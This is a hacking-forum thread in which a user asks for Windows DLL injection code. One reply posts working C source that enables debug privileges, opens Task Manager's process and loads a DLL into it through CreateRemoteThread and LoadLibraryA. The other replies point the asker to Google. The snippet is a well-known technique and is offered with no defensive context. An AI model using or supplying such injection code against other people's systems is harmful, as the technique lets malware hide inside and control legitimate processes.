

Forum:[Hack Forums](#)

Thread: [Dll injection and code injection source code](#)

hadesgod7979 - September 5, 2019, 12:27 am

Hello members.

I need source code of Dll injection and code injection in windows 10.
Help me.

morph - September 5, 2019, 1:26 am

If you can't code it yourself, use Google. Nobody codes for you for free here.

myselfandi - September 5, 2019, 8:35 am

(Sep 5, 2019 12:27 AM)hadesgod7979 Wrote: [\[CITE\]](#) Hello members.
I need source code of Dll injection and code injection in windows 10.
Help me.from old project of mine
Code #include <Windows.h>
#include <tlhelp32.h>

```
BOOL InjectDll(HANDLE hProcess, LPCTSTR szDllName);  
HANDLE GetProcessHandle(char* _processus);
```

```
int main()  
{  
    HANDLE handle_processus = GetProcessHandle("taskmgr.exe");  
    InjectDll(handle_processus, "HookDLL.dll");  
}
```

```
BOOL InjectDll(HANDLE hProcess, LPCTSTR dll_name)  
{  
    HANDLE hThread;  
    LPVOID pRemoteBuf;  
    DWORD dwBufSize = (DWORD)(strlen(dll_name) + 1); // null  
    FARPROC pThreadProc;  
  
    pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,  
                                MEM_COMMIT, PAGE_READWRITE);  
    if( pRemoteBuf == NULL )  
        return FALSE;  
  
    WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)dll_name,  
                       dwBufSize, NULL);  
  
    pThreadProc = GetProcAddress(GetModuleHandleA("kernel32.dll"),  
                                "LoadLibraryA");  
    hThread = CreateRemoteThread(hProcess, NULL, 0,  
                                (LPTHREAD_START_ROUTINE)pThreadProc,  
                                pRemoteBuf, 0, NULL);  
    WaitForSingleObject(hThread, INFINITE);  
}
```

```

VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);

CloseHandle(hThread);

return TRUE;
}
static void EnableDebugPriv()
{
    HANDLE hToken;
    LUID luid;
    TOKEN_PRIVILEGES tkp;

    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken);

    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);

    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = luid;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);

    CloseHandle(hToken);
}
HANDLE GetProcessHandle(char* _processus)
{
    EnableDebugPriv();
    HANDLE process_snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process_entry = {0};
    process_entry.dwSize = sizeof(process_entry);

    for(Process32First(process_snap, &process_entry); Process32Next(process_snap,
&process_entry);)
    {
        if(!strcmp(_processus, process_entry.szExeFile)) // si on a trouver le processus, return le.
            return OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_entry.th32ProcessID); //
peut se bloquer en WinXP verifier la documentation
    }
    return 0;
}

```

Prawnster - September 5, 2019, 8:37 am

There is about a million examples all using the same thing posted all over the internet, little google and you'd find this, in less time than it took to post this thread lol

gogreendv - September 5, 2019, 10:47 pm

Hi, hadesgod7979.

You can easily find it by searching through Google.

It's like in windows 7.